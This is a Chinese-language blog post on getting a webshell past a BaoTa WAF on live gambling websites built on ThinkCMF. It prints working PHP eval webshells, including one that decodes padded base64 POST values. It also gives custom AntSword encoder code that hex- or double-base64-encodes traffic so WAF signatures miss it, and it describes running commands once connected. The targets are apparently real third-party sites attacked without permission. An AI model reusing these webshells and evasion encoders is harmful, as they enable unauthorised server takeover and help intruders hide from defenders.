AndyNoel

过WAF的小思路

前言

最近在学习了一波CMS漏洞,尝试看了几个菠菜站,有宝塔WAF。。。向WHOAMI大佬取经回来后,绕过了一个WAF。觉得是时候要认真总结一下了:)

前期的过程

菠菜采用的是ThinkCMF这款CMS,ThinkCMF某些版本是存在缓存Getshell这样的一个漏洞,payload我就不放了,大家要遵守相应的法律法规哦! :)

按照payload,直接打的话,访问白屏还兴奋了一下,结果一执行shell就触发宝塔WAF。。。更别说蚁剑连接了。。。

WAF会对部分函数进行了过滤,所以直接打payload肯定是不行的,因此我们需要对蚁剑的流量特征进行混淆加密

一个正常的shell如下:
<?php @eval($_POST['hack']);?>但是这样的shell特征太明显了,肯定会被拦截的,所以我们要学会骚一点
比如说<?php @eval(base_decode($_POST['test']));?>
让我们将phpinfo();base64加密后POST传参,就可以正常执行phpinfo了
image

但是。。。

cmd命令执行

但是蚁剑连接shell爆红了。。。

明明写进去了,也能phpinfo,但是蚁剑连接错误,为什么呢???
其实,我们可以先学一下蚁剑流量的相关知识
首先看看蚁剑的base64编码器结构:

'use strict';


/*

 @param  {String} pwd   连接密码
 @param  {Array}  data  编码器处理前的 payload 数组
@return {Array}  data  编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ##########    请在下方编写你自己的代码   ###################
// 以下代码为 PHP Base64 样例
// 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
// 原有的 payload 在 data['_']中
// 取出来之后,转为 base64 编码并放入 randomID key 下
data[randomID] = Buffer.from(data['_']).toString('base64');


// shell 在接收到 payload 后,先处理 pwd 参数下的内容,
data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;
// ##########    请在上方编写你自己的代码   ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}

解释一下:

pwd:  类型是String, 这个是 shell 的连接密码
data: 类型是 Array, 这个是要发送的 HTTP POST 数据包
Buffer.from(data['_']).toString('base64') 将data['_']中的代码读取并进行base64编码,然后下面的 data[pwd] 以参数的形式传递到服务器,解码后shell代码便会执行。虽然data['_']中的代码进行过base64编码,但是data[pwd] 是作为参数传递的,所以在流量中的 data[pwd] 仍是明文传输。
而且,蚁剑在对data进行编码时会增加一定长度的随机字符,但是cmd命令无论增加多长的字符Y21K这个特征字符也始终会被识别到

那该怎么办呢???
WAF拦了蚁剑发送的其它参数时怎么操作 (qq.com)

从这篇大佬的文章好好学习了一下,其中一种方法大佬是通过遍历data的其他参数,并Hex编码了data的值。

解码器内容:

*/
'use strict';

module.exports = (pwd, data) => {
  let ret = {};
  for (let _ in data) {
    if (_ === '_') { continue };
    ret[_] = Buffer.from(data[_]).toString('hex');
  }
  ret[pwd] = Buffer.from(data['_']).toString('hex');
  return ret;
}

因为蚁剑是默认会对data的值进行一次base64加密,所以我们可以再base64加密一次并增添点data的值:)

比如像这样:

let ret = {};
for (let _ in data)
{
if (_ === '_')
{ continue; }
ret[_] = Buffer.from(data[_]).toString('base64');
ret[_] = 'andynoel1234' + ret[_];
ret[_] += 'andynoel1234';
}

同时,我们所写的shell也不能那么简单的啦,所以也得相应地稍微修改一下:

<?php
foreach($_POST as $k=>$v){$_POST[$k]=base64_decode(str_replace('andynoel1234','',$v));}
@eval($_POST['hack']);
?>

在第一次POST时进行抓包,去掉我们另外加入的data值,比如说上面的andynoel1234
然后对剩下的内容执行两次base64解码,再试一下蚁剑成功连接,就可以执行cmd命令了。
image

相关文章: